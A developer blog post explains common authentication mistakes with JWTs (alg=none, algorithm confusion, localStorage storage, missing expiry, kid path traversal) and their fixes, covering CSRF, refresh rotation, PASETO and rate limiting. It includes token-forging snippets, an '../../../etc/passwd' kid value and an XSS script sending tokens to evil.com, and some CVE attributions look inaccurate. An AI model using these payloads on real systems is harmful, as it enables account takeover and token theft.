 Command

Pranesh Nikhar's personal site. Vim-style keybinds for navigation; theme + font pickers below.

Theme
 Font Body Code
Reader
Keybinds
Navigation
j / ↓ Next item k / ↑ Previous item g First item in region G Last item in region zz Center focused item h / l Move left/right region ] / [ Next/previous heading } / { Next/previous block d / u Half-page down/up
Layout
<zh> / <zl> Toggle left/right sidebar <zr> Toggle reader view <zj> / <zk> Focus main/navbar <S-h/j/k/l> Focus left/main/navbar/right ⌃H / ⌃L Focus left/right sidebar ⌃J / ⌃K Focus main/navbar ⇧C / ⇧E Collapse / expand all sections
Dialogs
⌃P / : Command palette ⌃X Theme picker / Search ? Show keybinds Esc / ⌃C Close dialog
History
n Next document b Previous document ⌃O History back ⌃I History forward
 Search
about: Pranesh Nikhar about/more: πŸͺͺ More docs/test: Docs Test ideas: πŸ’‘ Ideas more: βž• More now: Now posts: πŸ“¬ Posts projects: πŸ“š Projects webtui: Style posts/agentic-eda: πŸ“Š AgenticEDA β€” Automated Exploratory Data Analysis with LangGraph posts/cap-theorem-outage-story: 🌐 CAP Theorem with a Real Outage Story posts/codepilot: ✈️ CodePilot β€” From Requirements to Deployable FastAPI Backend posts/common-auth-mistakes: πŸ” Common Auth Mistakes Developers Make posts/compiled-vs-jit-vs-interpreted: ⚑ Why Is X Language Fast or Slow? β€” Compiled vs JIT vs Interpreted posts/cs-degree-gaps: πŸŽ“ Things CS Degrees Don't Teach You posts/cve-2025-breach-analysis: πŸ›‘οΈ CVE-2025 Breach Analysis β€” Midnight Blizzard and the 16 Billion Credential Leak posts/fixloop: πŸ”„ FixLoop β€” AI Agent Loop for Self-Correcting Code posts/functional-vs-oop: ⚑ Functional vs OOP β€” Same Problem, Both Ways posts/getman: 🦾 Getman β€” Declarative API Tester for CLI & TUI posts/how-compilers-optimize: βš™οΈ How Compilers Actually Optimize Your Code posts/http3-quic: ⚑ HTTP/3 and QUIC β€” Why They Matter posts/leetcode-vs-engineering: 🧩 LeetCode vs Real Engineering Skills posts/llm-from-scratch: 🧠 LLM from Scratch β€” GPT-Style Transformer in PyTorch posts/lsm-trees-bloom-filters: 🌳 LSM Trees & Bloom Filters β€” Production Deep Dive posts/mcp-workflow-builder: πŸ”§ MCP Workflow Builder β€” Visual DAG for MCP Tools posts/persistent-memory: 🧠 Persistent Memory β€” Long-Term Memory for AI Agents via MCP posts/playcli: 🎬 PlayCLI β€” Terminal Video Player posts/postgres-mvcc: πŸ—„οΈ How PostgreSQL MVCC Works β€” Multi-Version Concurrency Control Deep Dive posts/raft-consensus: β›΅ Raft Consensus Algorithm Explained posts/rust-borrow-checker: πŸ¦€ Rust Borrow Checker β€” Catches Real Bugs posts/titan: πŸ€– Titan β€” Terminal AI Coding Agent posts/what-happens-url: 🌐 What Happens Between Typing a URL and Seeing the Page posts/what-happens-when-you-run-a-program: βš™οΈ What Actually Happens When You Run a Program posts/zero-knowledge-proofs: πŸ” Zero-Knowledge Proofs Explained Simply webtui/components/accordion: Accordion webtui/components/badge: Badge webtui/components/button: Button webtui/components/checkbox: Checkbox webtui/components/dialog: Dialog webtui/components/input: Input webtui/components/popover: Popover webtui/components/pre: Pre webtui/components/progress: Progress webtui/components/radio: Radio webtui/components/range: Range webtui/components/separator: Separator webtui/components/spinner: Spinner webtui/components/switch: Switch webtui/components/table: Table webtui/components/textarea: Textarea webtui/components/tooltip: Popover webtui/components/typography: Typography webtui/components/view: View webtui/contributing/contributing: Contributing webtui/contributing/contributing: ## Local Development webtui/contributing/contributing: ## Issues webtui/contributing/contributing: ## Pull Requests webtui/contributing/style-guide: Style Guide webtui/contributing/style-guide: ## CSS Units webtui/contributing/style-guide: ## Selectors webtui/contributing/style-guide: ## Documentation webtui/installation/astro: Astro webtui/installation/astro: ## Scoping webtui/installation/astro: ### Frontmatter Imports webtui/installation/astro: ### β€Ήstyleβ€Ί tag webtui/installation/astro: ### Full Library Import webtui/installation/nextjs: Next.js webtui/installation/vite: Vite webtui/plugins/plugin-dev: Developing Plugins webtui/plugins/plugin-dev: ### Style Layers webtui/plugins/plugin-nf: Nerd Font Plugin webtui/plugins/theme-catppuccin: Catppuccin Theme webtui/plugins/theme-custom: Custom Theme webtui/plugins/theme-everforest: Everforest Theme webtui/plugins/theme-gruvbox: Gruvbox Theme webtui/plugins/theme-nord: Nord Theme webtui/plugins/theme-vitesse: Vitesse Theme webtui/start/ascii-boxes: ASCII Boxes webtui/start/changelog: Changelog webtui/start/installation: Installation webtui/start/installation: ## Installation webtui/start/installation: ## Using CSS webtui/start/installation: ## Using ESM webtui/start/installation: ## Using a CDN webtui/start/installation: ## Full Library Import webtui/start/installation: ### CSS webtui/start/installation: ### ESM webtui/start/installation: ### CDN webtui/start/intro: Introduction webtui/start/intro: ## Features webtui/start/plugins: Plugins webtui/start/plugins: ## Official Plugins webtui/start/plugins: ### Themes webtui/start/plugins: ## Community Plugins webtui/start/theming: Theming webtui/start/theming: ## CSS Variables webtui/start/theming: ### Font Styles webtui/start/theming: ### Colors webtui/start/theming: ### Light & Dark webtui/start/theming: ## Theme Plugins webtui/start/theming: ### Using Multiple Theme Accents webtui/start/tuis-vs-guis: TUIs vs GUIs webtui/start/tuis-vs-guis: ## Monospace Fonts webtui/start/tuis-vs-guis: ## Character Cells
 Theme Current: Light j/k or ↑/↓ + Enter

πŸ” Common Auth Mistakes Developers Make

Five critical JWT pitfalls (alg=none, HS256/RS256 confusion, localStorage XSS, infinite tokens, kid injection), session vs token tradeoffs, CSRF, refresh token rotation, and why PASETO is worth knowing about.

Authentication is where most production outages and security breaches start. The subtlety of cryptographic protocol design combined with poorly understood library defaults creates an environment where even experienced developers ship vulnerable auth systems. This post covers the most common pitfalls, how they work at a technical level, and what to do instead.


Mistake 1: The alg=none Attack

How It Works

JWT headers contain an alg field that specifies the signing algorithm. Some JWT libraries, when processing a token, look at the alg header and use it to determine verification logic. The none algorithm was defined in the JWT specification for unsecured JWTs (intended for debugging or development use only).

The attack is simple:

# Attacker crafts a token with alg=none
import jwt

malicious_token = jwt.encode(
    {"sub": "admin", "role": "superuser"},
    key="",                    # No secret needed
    algorithm="none"           # No signature
)

# Vulnerable server: looks at header, sees "none",
# skips signature verification entirely
decoded = jwt.decode(malicious_token, options={"verify_signature": False})
# β†’ {"sub": "admin", "role": "superuser"} β€” attacker is admin

Why Libraries Are Vulnerable

The issue is that many JWT libraries default to trusting the alg field in the token header rather than enforcing a pinned algorithm. The library reads the header, sees alg: none, and skips verification. The developer writes jwt.decode(token) without realizing the library will accept unsigned tokens.

The Fix

Always pin the algorithm and reject none tokens explicitly.

# CORRECT: Pin algorithm and reject none
jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],      # Explicit pin β€” don't read from header
    options={"require": ["exp", "iat"]}
)
# VULNERABLE: Don't do this
jwt.decode(token, key)                        # Implicitly trusts header

In Java’s jjwt library, the vulnerable pattern was:

// VULNERABLE: jjwt before 0.7.0
Jwts.parser().setSigningKey(key).parseClaimsJws(token);

// CORRECT:
Jwts.parserBuilder()
    .setSigningKey(key)
    .setAllowedClockSkewSeconds(0)
    .requireIssuer("my-app")
    .build()
    .parseClaimsJws(token);

The CVE list for this class of vulnerability includes CVE-2015-9235 (node-jsonwebtoken), CVE-2016-5431 (jjwt), and CVE-2018-0114 (Cisco’s JWT library). Every major JWT library has shipped this bug at some point.


Mistake 2: HS256/RS256 Algorithm Confusion

How It Works

JWT supports both symmetric (HMAC, HS256) and asymmetric (RSA, RS256) signing algorithms. In symmetric signing, the same key is used to sign and verify tokens. In asymmetric signing, a private key signs and a public key verifies.

The algorithm confusion attack exploits servers that use RS256 (asymmetric). The attacker obtains the public key (which is, by definition, public β€” often served at /.well-known/jwks.json). They then craft a token with alg: HS256 and sign it using the public key as the HMAC secret.

# Victim server stores the public RSA key for RS256 verification
public_key = open("rsa_public.pem").read()

# Attacker crafts a token with HS256, using the PUBLIC key as the secret
malicious_token = jwt.encode(
    {"sub": "admin", "role": "superuser"},
    public_key,                 # Public key used as HMAC secret!
    algorithm="HS256"
)

# Vulnerable server: checks alg β†’ "HS256", verifies with public_key
# HMAC verification succeeds because attacker used the same key
decoded = jwt.decode(malicious_token, public_key, algorithms=["HS256"])
# β†’ SUCCESS! Attacker is admin

The vulnerability exists because the JWT library doesn’t enforce a relationship between the algorithm and the key type. An HMAC key and an RSA public key are the same data type (bytes), so the library happily uses the public RSA key as an HMAC secret.

The Fix

Pin the algorithm and validate key type:

# CORRECT: Only accept RS256
jwt.decode(
    token,
    rsa_public_key,
    algorithms=["RS256"],    # Reject HS256 entirely
    options={"require": ["exp"]}
)
# VULNERABLE: Accepting multiple algorithms
jwt.decode(
    token,
    public_key,
    algorithms=["HS256", "RS256"],  # Attacker can choose the weaker one
)

Mistake 3: Storing Tokens in localStorage

The Problem

The most common pattern for SPA authentication is: receive a JWT from the server on login, store it in localStorage, and attach it to every subsequent request via an Authorization: Bearer <token> header.

// Common pattern β€” but vulnerable
fetch("/api/login", { method: "POST", body: creds })
  .then(r => r.json())
  .then(data => {
    localStorage.setItem("access_token", data.access_token);
    localStorage.setItem("refresh_token", data.refresh_token);
  });

// On every request:
fetch("/api/data", {
  headers: { "Authorization": `Bearer ${localStorage.getItem("access_token")}` }
});

The vulnerability: any XSS vulnerability in your application gives the attacker full access to localStorage. A single reflected XSS via a search parameter, a DOM-based XSS through a third-party script, or even a browser extension with storage permissions β€” and all tokens are stolen.

<!-- Attacker injects via a search parameter -->
<script>
  const token = localStorage.getItem("access_token");
  fetch("https://evil.com/steal?token=" + token);
  // Also send refresh token to maintain persistent access
  fetch("https://evil.com/steal?refresh=" + localStorage.getItem("refresh_token"));
</script>

httpOnly Cookies: The Secure Alternative

// Server-side: Set httpOnly, Secure, SameSite cookie
// Express:
res.cookie("access_token", token, {
  httpOnly: true,       // Cannot be read by JavaScript
  secure: true,         // HTTPS only
  sameSite: "strict",   // CSRF protection
  maxAge: 15 * 60 * 1000  // 15 minutes
});

httpOnly cookies are not accessible via document.cookie, so an XSS vulnerability cannot steal them. The cookie is automatically sent with every request to the issuing domain.

The CSRF Tradeoff

The catch with cookies: you need CSRF protection. A cross-site request forgery attack tricks the user’s browser into making a request to your server, and the browser automatically includes the cookie.

The standard defense stack for cookie-based auth:

  1. SameSite=Strict or SameSite=Lax: Modern browsers block cross-site cookie sending. Lax allows top-level GET navigations (safe for link-based auth flows). Strict blocks everything (most secure, but breaks <a href> based logout/redirect flows).
  2. CSRF tokens: For forms and state-changing requests, include a cryptographically random token as a hidden field or custom header that the attacker cannot guess.
  3. Double-submit cookie pattern: Send a random value both as a cookie and a custom header; the server checks they match.
// CSRF token pattern
// Server sends a CSRF token in a cookie (NOT httpOnly)
res.cookie("csrf_token", crypto.randomBytes(32).toString("hex"), {
  secure: true,
  sameSite: "strict",
  httpOnly: false  // Must be readable by JS
});

// Client reads it and sends as header
const csrf = document.cookie.match(/csrf_token=([^;]+)/)[1];
fetch("/api/transfer-funds", {
  method: "POST",
  headers: {
    "X-CSRF-Token": csrf,
    "Content-Type": "application/json"
  },
  body: JSON.stringify({ amount: 1000, to: "attacker" }),
  credentials: "include"  // Send httpOnly cookies
});

// Server: compare header value vs cookie value

Mistake 4: No Expiration (Infinite Tokens)

Why It’s Dangerous

A JWT without an exp claim is valid forever. If an attacker steals such a token β€” via XSS, a compromised database, a man-in-the-middle attack, or a backup that wasn’t properly encrypted β€” they have permanent access.

# DANGEROUS: No expiration
token = jwt.encode({"sub": user.id, "role": user.role}, secret, algorithm="HS256")

# CORRECT: Short-lived access token + refresh token
access_token = jwt.encode({
    "sub": user.id,
    "role": user.role,
    "exp": datetime.now() + timedelta(minutes=15),
    "iat": datetime.now(),
    "jti": str(uuid4())  # Unique token ID for revocation
}, secret, algorithm="HS256")

refresh_token = jwt.encode({
    "sub": user.id,
    "type": "refresh",
    "exp": datetime.now() + timedelta(days=7),
    "iat": datetime.now(),
    "jti": str(uuid4())
}, secret, algorithm="HS256")
Token TypeLifetimeRationale
Access token5–15 minutesShort enough to limit damage if stolen; validated on every API call
Refresh token7–30 daysLonger but rotatable; validated only when issuing new access tokens
ID token (OpenID Connect)1 hourInformation purposes only; not used for API access
Remember-me cookie30 daysRequires re-authentication on new device or IP change

Refresh Token Rotation

Even with short-lived access tokens, a stolen refresh token gives the attacker the ability to generate new access tokens indefinitely. Refresh token rotation mitigates this: every time a refresh token is used, issue a new refresh token and invalidate the old one.

def refresh_access_token(old_refresh_token):
    # Verify old refresh token
    payload = jwt.decode(old_refresh_token, secret, algorithms=["HS256"])

    # Revoke old token (invalidate it)
    redis.sadd("revoked_tokens", payload["jti"])

    # Issue new tokens
    new_access = create_access_token(payload["sub"])
    new_refresh = create_refresh_token(payload["sub"])

    return new_access, new_refresh

If an attacker steals a refresh token and uses it, the legitimate user’s next refresh attempt will fail because the old token is revoked. This detects token theft with a race window of at most one refresh cycle (minutes, not days).

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  User      β”‚     β”‚  Attacker    β”‚     β”‚  Auth Server β”‚
β”‚ (legit)    β”‚     β”‚ (stole token)β”‚     β”‚              β”‚
β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
      β”‚                    β”‚                    β”‚
      β”‚ Refresh (old)      β”‚                    β”‚
      │───────────────────►│ (intercepted)      β”‚
      β”‚                    │───────────────────►│
      β”‚                    β”‚ ← New tokens (attacker gets new refresh)
      β”‚                    β”‚                    β”‚
      β”‚ Next request       β”‚                    β”‚
      │───────────────────────────────►        β”‚
      β”‚                    β”‚                    β”‚
      β”‚ ← Error: token revoked                 β”‚
      β”‚                    β”‚                    β”‚
      β”‚ Re-login required  β”‚                    β”‚

Mistake 5: kid Injection (Path Traversal)

How It Works

The JWT header can contain a kid (key ID) field that tells the server which key to use for verification. When the server uses kid to look up the key from a filesystem path, an attacker can inject path traversal sequences.

# Vulnerable key lookup
def get_public_key(kid):
    # Directly uses kid as a file path
    with open(f"/keys/{kid}", "r") as f:
        return f.read()

# Attacker crafts a JWT with kid pointing to an arbitrary file
malicious_header = {
    "alg": "HS256",
    "kid": "../../../etc/passwd"  # Path traversal
}

# Server reads /etc/passwd as the verification "key"
# Then signs with a controlled HMAC secret derived from /etc/passwd content

In the worst case, attackers can use kid: ../../dev/null β€” reading an empty file as the key β€” then sign their token with an empty string as the HMAC secret. Or they can point kid at a known file on the server whose content they can predict or control (like an uploaded avatar or a log file).

This is not theoretical: CVE-2018-0114 affected Cisco’s JWT library with exactly this pattern. The Node.js jsonwebtoken library also shipped vulnerable code for handling kid.

The Fix

# 1. Validate kid against a whitelist
ALLOWED_KEYS = {
    "key-2025-01": load_rsa_key("keys/key-2025-01.pem"),
    "key-2025-02": load_rsa_key("keys/key-2025-02.pem"),
}

def get_public_key(kid):
    if kid not in ALLOWED_KEYS:
        raise ValueError(f"Unknown key ID: {kid}")
    return ALLOWED_KEYS[kid]

# 2. Or use a database lookup with parameterized queries
def get_public_key(kid):
    # Parameterized query prevents injection
    result = db.execute("SELECT public_key FROM jwt_keys WHERE id = %s", [kid])
    if not result:
        raise ValueError("Unknown key ID")
    return result[0]["public_key"]

Session vs Token: The Real Tradeoffs

JWT advocates claim tokens are β€œstateless” (no server-side session storage needed). This is true but misleading β€” you still need server-side state for revocation, refresh token rotation, and rate limiting.

PropertyServer SessionsJWT (stateless)
RevocationImmediate (delete session)Impossible until expiration (without blacklist)
StorageServer memory/RedisClient-side (token payload)
ScalingShared session store neededTrivially horizontal (no server state)
Token sizeSmall (session ID)Large (all claims in token)
BandwidthMinimalToken sent on every request
IntrospectionInstant (look up session)Requires token decode or introspection endpoint

The real answer: use JWTs for API authorization between services (where revocation isn’t needed and the parties trust each other), and use server-side sessions with encrypted cookies for user-facing web apps (where revocation and CSRF protection matter).


PASETO: A Better Alternative

PASETO (Platform-Agnostic Security Tokens) was designed after the accumulated lessons from JWT’s design flaws. It removes all the algorithm flexibility that enables attacks:

from paseto import create_token, parse_token

# PASETO local (symmetric, shared secret)
token = create_token(
    key=symmetric_key,           # 32 bytes for v4.local
    issuer="my-app",
    subject="user_42",
    expiration=datetime.now() + timedelta(minutes=15)
)

# PASETO public (asymmetric, private key signs)
token = create_token(
    key=private_key,             # Private RSA/Ed25519 key
    issuer="my-app",
    audience="trusted-service",
    subject="user_42",
    claims={"role": "admin"}
)

# Verification: always explicit, no algorithm negotiation
payload = parse_token(
    key=public_key,              # Public key for verification
    token=token,
    audience="trusted-service"
)

Key design differences from JWT:

  1. No alg negotiation β€” the algorithm is embedded in the version (v4.local = XChaCha20-Poly1305, v4.public = Ed25519). An attacker cannot switch to none or HS256.
  2. Mandatory expiration β€” the spec requires exp; the library raises an error if it’s missing.
  3. Clean header β€” no kid, no custom fields in the header. The header is just a version string.
  4. Focused scope β€” PASETO tokens are for authentication; they don’t try to be a general-purpose data format.

PASETO adoption is growing: it’s supported in PHP (officially recommended), Python (Authlib, PyPASETO), Node.js (paseto, paseto.js), Go (go-paseto), and Rust (paseto-rs).


Rate Limiting Auth Endpoints

A final, critical layer: every authentication endpoint must be rate-limited.

# Rate limiting for auth endpoints (pseudocode)
from fastapi import FastAPI, HTTPException
from slowapi import Limiter, _rate_limit_exceeded_handler

limiter = Limiter(key_func=get_remote_address)
app = FastAPI()
app.state.limiter = limiter
app.add_exception_handler(429, _rate_limit_exceeded_handler)

@app.post("/api/login")
@limiter.limit("5/minute")        # Login: 5 attempts per minute per IP
async def login(request: Request):
    ...

@app.post("/api/register")
@limiter.limit("3/hour")          # Registration: 3 per hour (prevents account farming)
async def register(request: Request):
    ...

@app.post("/api/forgot-password")
@limiter.limit("2/hour")          # Password reset: 2 per hour per email
async def forgot_password(request: Request):
    ...

@app.post("/api/refresh")
@limiter.limit("10/minute")       # Token refresh: prevent brute force on refresh tokens
async def refresh(request: Request):
    ...

Rate limiting prevents credential stuffing, password spraying, and enumeration attacks. Combine IP-based limits with account-based limits for defense in depth.


Summary

Five JWT mistakes cause the majority of auth vulnerabilities:

  1. alg=none β€” pin the algorithm, reject unsigned tokens
  2. HS256/RS256 confusion β€” don’t accept symmetric algorithms when using asymmetric keys
  3. localStorage storage β€” use httpOnly cookies with CSRF protection
  4. Infinite tokens β€” always set exp, rotate refresh tokens
  5. kid injection β€” whitelist key IDs, don’t use user input as file paths

And the broader lesson: auth is harder than it looks. The protocol details matter. The library defaults are often wrong. Every abstraction leaks.

JWT.io Debugger β€” inspect tokens during development PASETO Specification OWASP JWT Cheatsheet Aaron Parecki, β€œOAuth 2.0 Simplified”


πŸ“– Series Navigation

 praneshnikhar.site / posts / common-auth-mistakes Β· Top 1:1